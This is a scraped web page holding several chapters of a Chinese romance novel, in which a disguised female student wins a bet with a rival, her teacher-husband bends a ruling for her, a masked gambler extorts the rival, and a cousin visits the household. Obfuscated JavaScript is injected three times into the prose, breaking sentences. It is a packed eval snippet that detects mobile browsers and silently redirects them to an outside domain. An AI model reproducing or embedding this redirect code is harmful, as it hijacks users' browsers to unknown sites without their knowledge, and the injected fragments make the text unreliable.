因饮了酒，季灵儿睡眠格外好，次日没再贪觉，天蒙蒙亮起身梳妆，面对秦劭诧异的目光，没好气道：“先生罚我洒扫，要提前去，您自个儿忘了？” 昨夜闹着要他代笔时还一口一个夫君，如今知道罚扫代替不了便翻脸不认人，她在两种身份间的切换愈发灵活。 烦忧的只有他自己。 秦劭自嘲地摇头，轻笑：“不必再三催唤，看来惩罚的确有用。” “......” 季灵儿将从秦劭那里受来的气如数倾注于扫帚上，恨不能将其变为钉耙，将书院掘地三尺。 尘土飞扬，呛得一旁之人咳嗽连连。 “有些人装小公子上瘾，连如何扫地都忘了。”梁宸冷嘲热讽。 昨日告状的账还未清算，他又来找不痛快，季灵儿故意朝他扬扫灰尘，扫帚重重顿地：“梁少爷扫得好，索性将这块院子全扫了。” 梁宸拂袖避开，怒目瞪她。 “季灵儿！你真当自己是富家少爷了，别人不知道，我还不清楚你那点底细？” 季灵儿手背衬着，下巴搭在扫帚上，嗤笑看他：“我什么底细？你说呀，最好再大点声，让所有人都听见。” 梁宸被将在原地，牙咬得咯咯作响，终究不敢将真相张扬出来。 “纸做的猫儿还装老虎呢。”季灵儿轻蔑一笑，不欲理他。 “你那富商义父到底是何方神圣？” “关你什么事。”季灵儿道，实则自己都不知所谓义父究竟何人。 明尽提议她入学堂，替她通门路时，只说相熟的富商愿意相助，商行设学有门槛，非商贾子女不得入读，遂让她以“义子”身份入学。 季灵儿担心入学后被人问及家世背景，明尽称富商已同商行打过招呼，不会有人追问，弟子间若有好奇的，不理会便罢了。 从不提那富商姓甚名谁，更未让她见过。 左右是她得恩惠，又不用真去“义父”膝前孝敬，懒得多追究。师兄们起初有好奇者，私下打探几句不得，以为家中交代要行事低调，不强求她说明。 唯独梁宸，因从前与她相识，总揪着她过去在汇通票号当学徒的身份不放，每每冷言讥刺。 季灵儿气他父亲夺了票号，逼死师父，从不给他好脸色，两人乃实打实的冤家对头，针锋相对惯了，见了面必起风波。 起初他扬言要揭发时季灵儿还惶恐，渐渐发现，梁宸虽揪她不放，却比她更惧怕揭破，口头上的威胁不过困兽之鸣。 应是受了家中敲打。 季灵儿先前没往深处想，这会子旧事重提，惊觉秦劭既是商行大当家，定然知晓这位义父身份！ 好奇心重新被勾起，忖度着等回去如何从秦劭口中问出。 梁宸目光下沉，落在季灵儿腰间那块水纹玉上，唇角一扯，嗤笑道：“好货色，莫不是你那富商义父送的？” “关你何事。”季灵儿收拢神思，背过身不欲多理他。 “要不要赌一把？就拿你这坠子做赌注。” “不赌。” “我看你是不敢吧？出手这么阔绰，别不是认义父，是给人当了小妾吧？” 季灵儿眸光骤寒：“狗嘴里吐不出象牙。” “不赌就是心虚！”梁宸咄咄相逼。 季灵儿最受不得被他激，葇夷握着玉，一字一字往外蹦：“如何赌？” “鉴宝。”梁宸有意挑她的弱处，见她迟疑，又嗤笑一声：“怎么，不敢？” “怎么个赌法？” “今日鉴宝课开藏珍阁，你我同选三件宝器，各自鉴其来历，材质，价值，写于纸上交由师父评判，如何？” 季灵儿几乎气笑了：“你疯了？去他跟前赌？” 她可不想上赶着挨罚。 “旁人评判恐你输了心中不服，”梁宸扬起下巴，一副施舍姿态，“师父问起，就说切磋学问。” 季灵儿白他一眼，顿时觉得自己在跟一个傻子较劲，偏这劲头架上来，后退显得她怯懦，输给谁也不能输给他，咬牙应下：“好啊，若你输了，腰上的墨玉金蟾归我。” 梁宸一把捂住坠子，脸色都变了：“这是我爹专请高僧做法开过光的，我自出生带到现在！” “我知道啊。”季灵儿轻飘飘瞥一眼，那金蟾背后还有道裂，是她当年摔的。 “单许你定赌注不公平，不愿便作罢。” 她巴不得他反悔。 “赌！”梁宸自信凭她浅薄的见识胜不过自己。 为保公正，二人在纸上写下陈设架的行列，抓阄盲选三样。 答案呈到秦劭跟前，清浅的眸光从二人面上掠过，淡声问：“如此好学？” 季灵儿心口怦怦直跳，垂着眼不敢看他。 秦劭目光在纸上游移，逐一点评，声线平稳听不出情绪。 一人一胜，季灵儿指尖掐入掌心，梁宸已露出胜券在握的笑意。 最后一件乃良渚玉琮，他自初识文玩便认过，断信不会出错。 秦劭迟迟不开口，深潭般的眸子静静笼住季灵儿，吞噬她每一寸呼吸，想从中读出情绪。 她似有所感，恹恹抬头与他对视，眼中不见求恳，唯有认命般的黯淡。 她知他不会容情。 秦劭亦知认输并非她的作风，何况面对着她最恨的梁家人，原以为她会像昨日一样，拿眼神暗示，盈盈期盼他的偏私。 可她没有。 杏眸明澈却沉寂，没有荡漾半分与他有关的波澜。 看着看着，心中骤然塌陷一块。 “师父。”梁宸有些按捺不住。 秦劭终于开口：“此物的确是余杭出土的祭祀玉琮。” 余光瞥见小姑娘在拿牙齿磋磨下唇，声音戛然。 梁宸嘴角咧开，得意地朝季灵儿挤眉弄眼，她不由得握紧玉坠，忖度如何耍赖。 秦劭的视线跟着挪到她腰间，心中塌陷复有隆起之象。 如此算暗示么？ 定然是的，她想要他通融。 翻涌的心绪滚上喉头，清了清嗓子，接道：“然沁色浮于表，刀工亦失古拙之味，并非真品，乃前朝仿古之物。” 梁宸笑意僵在唇边，“不可能！” 季灵儿同样诧异，眸中燃起的星火第一时间被秦劭捕捉。 光亮悄悄填满方才塌陷的那一处，他不动声色地移开目光，指尖在纸面上不着痕迹地一压。 “师父！”梁宸还想争辩。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389388|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦劭抬手制止了他，神色淡然道：“鉴物在心不在形，你执于皮相，此局输在浮躁。” 师父偏私的念头在梁宸脑中闪过一瞬，但对上秦劭清冷眸光，那点臆测便消得无影无踪。 季灵儿悄然吐气，缓缓松开玉坠。 ... 整整一日，季灵儿心情格外轻快，散学时指尖勾着金蟾挂件在梁宸跟前晃动嘚瑟。 金蟾在斜阳下泛着温润铜光，梁宸满脸黑沉，伸手欲夺被轻巧避开，咬牙切齿道：“你得意什么？有本事咱再赌一局旁的，我定能赢回来！” “我不。”季灵儿将金蟾收回掌心，“你日后对我客气些，兴许我心情好便还你啦。” 梁宸气得跳脚，“凭你也配。” “不答应算了，虽说这小东西裂了缝，但应当还能值几两银子。” “你敢！” “敢不敢，看梁师兄表现咯。” 他看不起，她便刻意将师兄二字咬得极重，拖得极长，尾音轻翘，带着十足十的戏谑。 “季灵儿！” 他气急败坏的模样令她笑得更欢，“注意称呼啊梁师兄。” 身边路过的人渐渐多起来，季灵儿不再与他纠缠，雀跃跳下石阶跑远。 接她的马车已在青石巷口等候，刚要提裙上车，身后传来急促的呼唤。 “季凌，”云衡小跑过来，“方才散学时便寻你，怎的走得这般急？” 季灵儿抱歉一笑：“单顾找梁宸炫耀，忘了同你说一声。” “炫耀什么？” 来往学子匆匆，季灵儿凑近些，低声同他道明情由。 云衡听了只替她着急，“你被罚了多少次还不长记性，竟敢赌到师父跟前。” 季灵儿哼道：“是他非缠着，想夺我的玉坠子。” 云衡早注意到她的坠子，未寻到合适机会问，此刻顺着话茬：“这坠子的确不俗，你从何处得来的？” 因想到梁宸的话，季灵儿秀眉扬起，半开玩笑回道：“我义父送的。” 两人略聊几句，云衡本欲请她去酒楼用晚膳，还未开口守在马车前的小厮上前催促，言家中有客，夫人叮嘱他回府。 约定改日，各自跃上马车。 梓木门打开，里面人影闯进视线的刹那，季灵儿抬步的动作僵住，回神下意识往后撤。 “季凌。”怕旁人听见，秦劭的声音很低，足够她听清，并收回想逃的心思。 “您这样出现在我车里不好吧......”季灵儿紧贴门边坐着，尽可能离他远远的，试图以此来壮大先发制人的声势。 为了避人耳目，二人约定好不同乘一驾，是以她根本想不到秦劭会堂而皇之坐在这里。 秦劭原本要独自先行的，临上马车前眼前浮现起挂了半日春风的粉颊，鬼使神差改了主意，且连被人瞧见的理由都想好了。 “家中马车坏了，顺路稍一程。” 亏得他改了主意，否则还被小姑娘蒙在鼓里。 失了先前的情绪，声音极清冽，目光锁得她无处可逃。 季灵儿抱着最后一丝丝侥幸，问：“您都听到了什么？” “所有。”他说。 季灵儿真想打开车门跳下去。 31. 身份 过去一年，季灵儿因张罗师兄们赌博，被罚数次，次次认罚，次次好了伤疤忘了疼。如今竟拿他送的玉坠做赌注，亏他以为她与梁宸乃寻常置气，违背原则偏颇一次。 所以，彼时她是以为会输，才垂首去摸坠子。 想到此处，秦劭气得直发笑。 “你可知那件良渚玉琮是真品。” 季灵儿猛地抬头：“啊？那您岂不是——” 她顿在话音，耻于说出后半句“当众偏私于我。” 怔了良久，垂头道：“您罚我吧。” 秦劭同样为自己一时的私心所耻，他怕这样失原则的事会成为裂隙的开端，一发不可收拾。 见她低头认错，眉间拢着愧色，又涌起深深的无力感，心口是空的，唯有呼吸沉落下来，问道：“罚你哪一桩？” 季灵儿不太明白，回想最近没犯旁的错，懵懵抬眼：“不就是赌玉坠这一桩......还有的旁的吗？” “赌，和赌玉坠，性质不一样。”秦劭道。 季灵儿更加茫然：“哪里不一样？” “赌，是你身为弟子犯规矩且屡教不改，”秦劭解释，声音在后半句低了下去：“赌玉坠，是对我一番心意的轻贱。” 季灵儿并非故意要拿玉坠去赌，只是受不得梁宸激将，她想解释，却隐约听出他语气里的沮丧，犹如手指猝不及防被花刺扎了一下，一瞬的疼可以忽略不计，伤口渗出的血迹令她怔愣良久。 未能想出合适的措辞，又听他说：“你希望我以哪个身份罚你？” 她虽不完全明白明明一桩事为何非得分开论，但以新身份同秦劭相处这些时日，大抵明白，他在公与私之间划着极明显的界限，因而很快明白他是在问，该以师门规矩罚她，还是以被辜负的心意的丈夫身份责她。 依照这些时日发生的情况，身为夫君的秦劭总是更宽容些，遂经一番斟酌后，试探唤道：“夫君？” 秦劭目光微凝，喉间泛起涩意，小姑娘选了最令他难办的一种。 浅“嗯”一声，未言其他。 直至用过晚膳，秦劭没同她说一句话，也没避开她去旁处，就安静坐在暖榻前翻书，浑身散着疏离的冷意，暖色烛光都无法柔和他冷峻的侧影。 屋里气氛比冬夜的井水还冰人。 季灵儿兀自完成课业，倒不在意沉默氛围，只是总忍不住想被秦劭指控轻贱心意这茬，她不想被误解，细究起来，不全然是误解。 心思散了落笔便错，将写废的宣纸揉成团，忿忿扔进废篓里。 秦劭听闻动静抬眼，恰巧看见她皱鼻子的小动作，眉心紧紧攒着，烦躁全然写在脸上。 实在于心不忍，轻声发问：“遇到难处了？” 季灵儿摇摇头，重重舒出一口气，旋即捧着戒尺走到他跟前，“您罚吧。” 秦劭这才反应，她并非为课业烦忧。 目光落在微颤的葇夷上，分明害怕还来讨打，真心认错或想让他消气，无论出于哪种动机，此刻已轻而易举驱散他心底自己同自己置气的烦闷。 拿过戒尺轻轻搁在小几上，尽力让声音柔和：“这是在家，并非学堂。” 手心空下去，季灵儿似懂非懂地眨眼看他，颇有求知若渴之态。 秦劭不觉弯起嘴角，笑意中夹着涩然道：“说实话，我头一次给人当夫君，不知要如何处理把自己送的玉坠拿去赌的妻子。” 不能像在学堂一样给她立规矩，不能训斥苛责......可他心里终归是不好受的，弄不清是太过计较，还是苦闷于至今找不到合适安放二人位置的法子。 季灵儿探进他仰起的眸中，捕捉到许多似是而非的情绪，如夜风里的烛光，忽明忽暗，她勉强将它们定义为失落。 因为易地而处，她不仅会失落，还会生气。 “抱歉，但我真不是有意的。”她解释。 “我知道，”秦劭点点头，复又拿起书卷，目光并未落在字上，“你累了便先歇吧，我看会儿书。” 课业并非急要，季灵儿心思浮动，索性搁置下来，先叫水沐浴。 趁四下无旁人，玉秀悄声问：“您同大爷闹别扭了？” 季灵儿简单将玉坠的事说了，玉秀听罢提议道：“这样僵着伤了感情可不好，要不您去哄哄大爷？” 季灵儿想说没什么感情值得伤，念及他失落的神色，来回拨着水花怅然须臾，恹恹道：“我不会。” 确切说并非不会，从前每每惹师父生气，便端茶递水，捏腰捶背，小尾巴似的蹭在跟前耍赖，师父被磨得没脾气，便也消了气。 师父毕竟是女子，她可以毫不费力撒娇讨巧，可面对秦劭......总觉得哪里不对劲。 向玉秀讨教如何哄人，得到的答案竟是差不多。 于是乎，沐浴完换好寝衣的季灵儿笨拙地捧了茶盏蹭到秦劭跟前，“您爱喝的君山银针，我自己泡的。” 茶烟袅袅，氤氲她眼底小心翼翼的光。 秦劭眸中闪过诧异，放下书接了茶盏。 小姑娘还杵着，半晌不肯走，指尖绞着衣角。 “有话说？”他问。 季灵儿努力酝酿，实在难像对师父那样自然流露娇态，只捧着谄媚地笑道：“要不我再给您捏捏肩？” 秦劭了然她的意思，随手将茶盏搁在小几上，声音低缓道：“季凌，我不需要你做这些，尤其不想你为讨好我而做这些。” 换言之，她不必为任何事，讨好任何人。 季灵儿指尖一蜷，坦然道：“我想哄您。” 话音落，二人目光相对却沉默，屋内只闻灯烛燃烧的声响。 须臾，季灵儿开口：“您给指条明路罢。” 她最烦欠人情，早些揭过这篇心里才踏实。 垂在身侧的手倏然一暖，被轻轻握住。 秦劭执手引她在身侧坐下，语气因心中动容而微微发哑：“心意被轻慢，需要有心意的哄法。” 季灵儿茫然看着近在咫尺的侧脸，心脏抑制不住地乱撞。 她试探着，一点点朝他靠近些，将满脸诚恳送进他视线：“我真心保证，以后绝对不会了。” “我信你。”秦劭声音垂直落入她耳中，“但我说的心意不是这个。” 说着拿起方才看的书卷放到她手中，“陪我一会儿，念书给我听，可以吗？” 念书而已，季灵儿不明白为何秦劭语气郑重的似在请求什么了不得的大事，但这可比惩罚轻松多了，遂毫不犹豫应下来。 寻了个舒适的姿势靠在他身边，就着温暖的烛光，轻声读起书上的句子。 她的声音原本清亮，此刻为彰显诚意和贴心，故意放柔放缓，结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394914|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果读着读着，先将自己催困了，声音渐渐低下去，变成了含糊的呓语，脑袋也一点一点歪倒下去，整个窝进秦劭怀里。 书卷从她松软的手中滑落。 秦劭拢她在怀中抱了一会儿，视线在恬静睡颜上流连，所有的气闷与无奈，于这一刻静谧中，被清浅绵长的呼吸拂散。 他无声地叹了口气，呵护着抱着她下暖炕，安置在床榻上，拉过绣被仔细盖好，忍不住用指尖拂开她颊边发丝，在紧阖的眼皮上印一枚极轻的吻。 “下不为例。”他轻声说。 ... 次日罚扫时季灵儿盘腿坐在高台上，捡了两颗石子，耍把式似的抛起又接住，如此反复，一颗石子终于失控飞出去，砸在梁宸扫帚前。 他怒气冲冲抬头瞪她：“季灵儿，你别太过分！” 她晃着脚丫笑道：“抱歉啊，失手了。” 梁宸一连几日对季灵儿格外“客气”，牙咬碎了也从漏风的缝隙里挤出一声“小师弟”。 这口气憋太久，实在难以继续，加之他爹已经问过两次，再拖恐难敷衍，于僻静无人的地方拦住季灵儿。 “把金蟾还我！” 见她犹豫又拿出一枚成色上佳的玉递上：“我拿这个同你换。” 季灵儿抿了抿唇，难得在他面前露出怯色：“并非我不想还你，只是......金蟾被我不小心输掉了。” “什么！”梁宸眼睛瞪得浑圆，不可置信道：“你别是说谎诓我。” “昨日手痒去赌坊试手气，没想到遇到一个神秘人，接连赢走我所有赌注，最后抵无可抵，他便要走了金蟾。” 她言辞恳切，对神秘人的痛恨不似作假，梁宸不得不信，气得浑身发抖。 拳头紧了又松，挥到她脸颊旁堪堪停住，狠狠甩回来。 他对女子终究下不去手。 “我实在没法子了，”季灵儿试探着开口，“要不——你自个儿去赢回来？” “你要我去同他赌？”师门有训，家规亦不许涉赌，梁宸素日同她小打小闹尚可，不敢真去赌场。 “你不是自诩赌术比我高明吗，这番你若能赢回来，从此我鞍前马后给你当跟班，如何？” “谁稀罕。”梁宸嗤道。 梁宸自是不稀罕一个在他眼中本就低贱的野丫头当跟班，但金蟾是命根子，必得拿回来。 他咬牙盯着季灵儿：“哪家赌坊，那人可留名号？” “聚宝堂，绰号鬼面人，人如其名，黑斗篷戴鬼面。” ... 当日散学后，梁宸踏入聚宝堂，诸多气味混杂出的难闻扑面而来，险些让他窒息。硬着头皮进去，里头灯火昏黄，熙攘人群围在案前嘶吼，骰子撞盅，掌心拍案，声声如雷。 百般不适从中，不忘暗骂始作俑者，野丫头就是野丫头，净往这鱼龙混杂的腌臜地方钻。 迎客的伙计眼力甚佳，一眼便看出梁宸是生面孔，殷勤迎上：“公子头回来？这边请，新客有利钱拿。” 梁宸冷着脸问：“我要找鬼面人。” 伙计愣了下，仍挂着笑道：“那位客官的赌桌设在二楼，需得先压一定的彩头才可入局。” 梁宸已从季灵儿口中得知这些，拍一张银票在柜上：“五百两，够了吗？” 伙计眼中精光一闪，迅速收票引路。 32. 表妹 赌局开始，梁宸自认谨慎，可骰子点数总在最后一刻偏离所料，频频险败对方。 不过五六回合，梁宸所带来的银钱已输得干干净净。 鬼面人好整以暇靠在椅背上：“看来小公子已无钱可赌了。” 梁宸咬牙不语。 鬼面人把玩着金蟾，慢条斯理道：“此物可还你，甚至你方才输掉的，也能一并归还。” 梁宸惊喜抬眼，复警惕看向对方，他知天底下绝无如此便宜之事，遂问：“什么条件？” “很简单，我要一张出自汇通票号的汇票，须是加盖密押可兑换的。” 梁宸瞳孔骤缩，每张汇票由专人填写，收支皆要在总账备案，他如何平白拿给这人一张？ “办不到，你换个条件。” 鬼面人笑：“我想你是没弄清楚状况，现在并非你讨价还价的时候。我给你五日期限，本月十七你若未拿汇票来此，此协定作废。” ... 学堂上元节给弟子们放假两日，可回去与家人团聚，共赏灯会，度佳节。 十四日散学，云衡与季灵儿同行，道：“明晚咱还一起逛灯市。” 去年上元夜便是二人一起过的。 上元节算大日子，照秦家规矩要在正院用过家宴方可外出，季灵儿不晓得其中会否有差池，迟疑道：“我如今宿在亲戚家多有不便，不好给你准信，明日戌时前我找人给你传话。” “成，”云衡略有些失落，很快眸光又亮起：“那今日总该有空吧，如意楼出了新菜品，我请客！” 季灵儿悄悄往马车里探一眼，见里头无人，便让车夫回去传信，欣喜地随云衡跃上他家马车往如意楼而去。 席间两人天南海北聊着，云衡道：“还好你这亲戚不太约束你，要不我有新鲜事寻不着人分享。” “确实说得过去。”季灵儿含糊应着。 非有特殊安排，秦劭素来不限制她外出赴局。至于秦家其他人，她高兴起来忘了着意问……未曾有人找茬，想来是无人在乎的。 云衡：“究竟是什么关系的亲戚，若得空，引荐我拜会拜会？” 季灵儿：“拜他们作甚？” 云衡丹凤眼微挑，扬着清澈的笑意道：“自然是拉进关系啊，往后好互相照应。” 季灵儿心说你们两家的关系何须再拉近，面上只斜他一眼道：“别拿你们公子哥拉关系的做派来我跟前摆，有何可照应的，我不见得会常住他家。” 云衡对她的打趣一笑置之，好奇心落在后面：“为何不会常住？” “寄人篱下总不是长久，等学堂期满，我自有去处。”季灵儿回的颇为实在。 云衡执箸的手顿了顿，届时弟子们各自回去照看家业，他亦不例外，不知她会落在何处，因问：“你会去那位义父的铺子里吗？” 云衡和其他人一样，只知她有位神秘的义父，不知其姓甚名谁，乃何方神圣，他怕学堂解散后二人离得太远。 “不是，我回曹县。”季灵儿道。 云衡略一愣，约莫明白些：“因为你恩师？” “嗯。” 话题至此略有沉重，二人默契地转了话头。 与此同时，秦府正院。 姑太太带女儿回来探亲，屋里围坐许多人，秦劭亦在其中。 季灵儿每日出府老夫人是知晓的，得消息的头两日问过秦劭，他回说娘子黏人，且年岁轻，事事新鲜，因而一同带去叠翠园。 孙儿既如此说，无论真假可见二人亲近，老夫人高兴来不及，自不多过问。 可今日亲戚来，依旧不见人回来用膳，不免多问一句：“芮宁呢？” 秦劭：“去赴朋友之约，要晚些回来。” 老夫人有疑心但未形于色，一旁秦劭的二姑母倒是笑出声来：“原想能见一见宗劭媳妇，竟如此不巧。” 秦劭客气地回以一笑：“来日方长，姑母总能见到。” 听这话音，至少今日是不打算让人见了，老夫人兀自敲定心中疑虑，垂眸藏了欣慰的笑意。 孙儿还是很在意孙媳的。 她心中暗喜不欲戳破，那边坐着的粉妆玉琢的女子却挑眉打趣：“莫不是表兄故意藏着，不想让我瞧吧？” 二姑母嗔看女儿一眼：“烟儿。” 秦劭：“表妹这话从何说起？” “自是表兄紧张嫂嫂，怕我这个嘴快的在嫂嫂跟前揭你短处。”凌烟道，丝绸般的嗓音柔滑而轻缓，笑声铃铃悦耳。 “我行得正坐得端，并无可惧。”秦劭见惯了她这副模样，回应亦是一贯的肃然。 凌烟轻“哦”一声垂敛笑眼，指尖点了点茶盏边缘，“那便盼着嫂嫂早日得空，好让我们一睹风采。” 秦劭啜一口茶，没再说话。 这边说着话，那边门上来人报大少夫人回来了。 凌烟重新挑起兴致，提出去拜会。 老夫人没应声，微微抬眼看向孙儿。 秦劭搁下茶盏，说：“今日有些晚了，明日罢。” 老夫人瞧他护得紧，笑着对凌烟道：“说的是，左右你与你母亲今日宿在府中，明日咱们一起过节，何愁见不着人。” * 季灵儿刚从大房院的角门进来，玉秀便迎上来说了姑太太和表小姐来府上做客之事。 “表小姐？”季灵儿想到师兄们讨论的内容，追问：“可是曾与大爷订过亲的表小姐？” 玉秀错愕，言不知有此事。 又揪来秋棠问，秋棠正踌躇不知该不该答时，秦劭挑帘进来。 季灵儿紧两步到他跟前，仰着好奇的脸直问：“听说正院来客人了？” 他目光在炯炯明眸中流连，一寸不愿意错开，颔首道：“嗯，姑母和表妹来看望祖母。” “表妹？”季灵儿每个字音都拖长，问的极具深意。 弟子酒楼聚会那日秦劭隔墙听到只言片语，了然她此刻眼中燃烧的好奇是为何。 无奈道：“陈年旧事，莫要听他们胡说。” 季灵儿撇了撇嘴，心说您这话颇有此地无银三百两的意味，耐不住心痒追问：“那您亲自同我说说真相呗。” “当真想听？” 季灵儿点头。 秦劭原本也要同她说的，不多推脱，道：“先将你这花猫脸洗了。” 季灵儿乖乖去净面，秦劭同样简单净了手脸，侧靠在暖炕上，示意她在身旁空处坐下。 有了前两日帮他读书的经历，季灵儿极自然地踢鞋窝上去，紧挨他坐下。 暖流在身体里涌动，秦劭没有多余动作，缓缓开口：“表妹儿时常来府中，祖母喜爱她，做主定下亲事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401930|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，待我及冠便行纳采之礼，不过后来她反悔了。” “为何？” “说我无趣，太沉闷，没时间陪她。” 季灵儿对这个答复半点不意外。 秦劭注意到她眼中闪过的认同之色，微微一顿，继而低声道：“她要的是个能陪她看花赏月，云游山水的夫郎，我撑着门户和商行，给不了她这些。” 话里讲着另外一人，视线却紧紧攫在她身上，不愿放过任何细微表情。 谁不想要个知冷知热，陪伴在侧的良人，季灵儿觉得那位表妹所求不算过分，因此没什么特殊反应，盈盈眸光映着他棱角分明的脸，期待他继续。 “所以她悔婚了？” 秦劭点头，“祖母和姑母责她任性，不同意退婚，她便哭闹，说我性格暴戾，私下苛待她，不退亲倒不如早些弃了性命投胎去。” 季灵儿噗嗤笑出声：“您就甘愿背这等冤名，不曾辩解？” “清者自清，何必多言。”秦劭语气平静，“况且，她所求非我所能给，强留无益。” 季灵儿望着他沉静眉眼，忽觉心头微涩，想来是为自家先生惨遭抛弃不忿，她这人一向护短。 低声问：“那您喜欢她吗？” 秦劭摇头，“我与她仅有兄妹之谊。” “没旁的了？”季灵儿总觉得这段往事结束的太轻易。又或是秦劭描述的太轻巧。 “没了。”他道。 月色如霜，在窗棂上洒下一层清辉，屋内燃了香，缭绕着令人心安的甜丝。 季灵儿挪目望着那缕盘旋的轻烟，恍惚许久，问：“那您呢？您想要一个什么样的妻子？” 秦劭同样转头，视线落在她被月光映亮的侧脸上，喉结上下翻滚，“你先前问过，忘了？” “不一样。” 那时问的是喜欢什么样的女子，他说没喜欢过，不知道。 “我眼下问的是您期待有一个什么样的妻子。” 他沉默许久，久到季灵儿以为他不会回答这个问题。 然后听见他说：“已有妻室在眼前，别无期待。” 磁性嗓音低沉滚进耳窝，季灵儿的心被烟雾一样缥缈的东西轻轻缠住，甜香沁入心脾，却捕捉不到实在的形状。 情绪被托举腾空的瞬间，她闪过一个念头：若她是真的宋芮宁，该多好。 这念头留存的时间不长，但足够她仰头，在他唇角轻啄一个吻。 唇落即离，心跳如鼓。 “嗯？”秦劭诧异垂眸。 “这是你作为夫君应得的。”为掩饰羞赧，她回的一本正经。 秦劭笑了下，以同样的严肃同她探讨：“作为夫君，我应得的可不止这些。” “不许贪心！”她说着挪开身子，隔开他骤然逼近的灼热气息。 秦劭探手扣住她的掌心，眸中溢满深情的祈盼：“我不贪心，只再亲一下，可以吗？” 季灵儿怔住，掌心下的指尖微微蜷曲，不答复也未挣脱。 他抬起另一只手，爱怜的沿着樱唇的轮廓描摹，走走停停，断断续续的触感令她浑身酥麻。 指腹在唇角停下，半藏在微张的唇瓣间，他轻声唤她：“季凌。” 季灵儿控制不住睫毛的扇动，无辜又紧张地看着他。 “就一下。”他低语承诺。 33. 吃醋？ 秦劭声音温柔带着蛊惑，蛊得她心跳失序，情不自禁闭了眼，任月光在卷翘的睫羽上流淌。 唇与唇相贴的刹那，清冷月光与缭绕香雾交织成一片朦胧梦境，他们身陷其中，他的吻轻盈而炽热，浅浅掠过，又一点点加重，爱抚过唇瓣不够，贪心地往贝齿里探寻。 呼吸生涩而混乱地交缠在狭窄空间，季灵儿整个人几乎融化在滚烫的缠绵中，无意识攀上他的肩颈，感受到衣料下的紧绷。 他好像比自己还紧张。 似是注意到她的走神，秦劭停了动作，退开半寸，垂着眸歉意地低语：“抱歉，我的确有些贪心。” “无碍的，”季灵儿下意识安慰他，话出口觉得更像纵容和默许，忙端出一副生气模样补充：“下不为例。” 秦劭低笑，幽深瞳孔聚着散不开的蜜意，“好。” ... 季灵儿一连外出多日，不曾向老夫人请安，十五当日一早，被人从床上拖起，更衣梳洗一通摆布。 临出门前秦劭替她拢衣襟，嘱咐道：“表妹若与你胡话，莫要听信。” 季灵儿困意未消，懵懂点头。 因她拖沓，二人到时堂上已聚齐了人，逐一问过安，季灵儿没忍住又打了个哈欠。 秦劭抬手抿去她眼角滑落的泪珠。 极自然的一个动作，令老夫人笑逐颜开，在座不少人看到，皆掩唇轻笑。凌烟眼中浮起促狭笑意，打量着眼前比她年纪还小的表嫂。 二姑母视线从小夫妻转向自家女儿，最后笑着对老夫人道：“小两口这般亲厚，叫人看着都欢喜。” 季灵儿在调笑声中彻底清醒，落座时嗔怪地瞪秦劭一眼。 凌烟跟着打趣：“没想到表兄还是个怜香惜玉的，嫂嫂好本事。” 传闻中的表妹开口，好奇心惊散困顿，季灵儿终于腾出心思观察对方。 只见她一身蜜合色簇锦团花裙，发间珠翠摇曳，妆容精致绝艳，脱脱一个风姿绰约的美人，挂在脸上的得意浅笑，透出几分挑衅意味。 季灵儿警铃顿起，这位表妹不会是旧情重燃，冲着秦劭来的吧？......可她曾那样诋毁他。 存心为秦劭扳回颜面，挽了个羞涩的笑，道：“夫君的确温柔，待我也周全体贴。” 秦劭眉梢无形扬了一寸。 凌烟并未因这句话失落拈酸，反倒笑容更甚。 季灵儿尚未读懂她笑中的深意，已听见她轻飘飘朝对面说了句：“四舅母这副表情，是觉得嫂嫂言不符实，还是听了这话身子不适？” 凌烟话头转变突然，不止季灵儿，在场绝大多数都丈二和尚一般。 姚氏正端茶盏的手猛然滞住，轻磕在案上发出脆响，脸色比方才更难堪。 姑太太作势在凌烟胳膊上拧一把，笑嗔道：“你这丫头，好好的攀扯你四舅母作甚！” 凌烟丝毫不在意，慢悠悠道：“我也是关心舅母，舅母面色发青，莫不是昨夜着了凉？还是——心病犯了？” 姚氏霍然抬眼，冰冷的目光直直射向凌烟，皮笑肉不笑道：“劳烟儿惦记，我的确昨夜没睡好。” 凌烟：“那可得好好找个郎中瞧瞧，莫要耽搁出大病来。” 季灵儿觉得他二人在打哑谜，求助地望向秦劭，对方神色淡然摇首，一副与他无关，亦不需她操心的模样。 ... 用过早膳众人各自散去，凌烟追上季灵儿，笑吟吟问：“表兄院里的绿梅可开了？” 季灵儿礼貌回道：“刚打了苞。” “我想去瞧瞧，嫂嫂可介意？” “哪里的话，我们一道走吧，正巧去屋里喝杯茶。” 凌烟步子略快，似是迫不及待要去瞧梅花，廊下风过，卷起的裙角似芍药绽放。 季灵儿忽觉指尖发紧，低头才见自己无意识攥紧了披风系带，被缠住了。 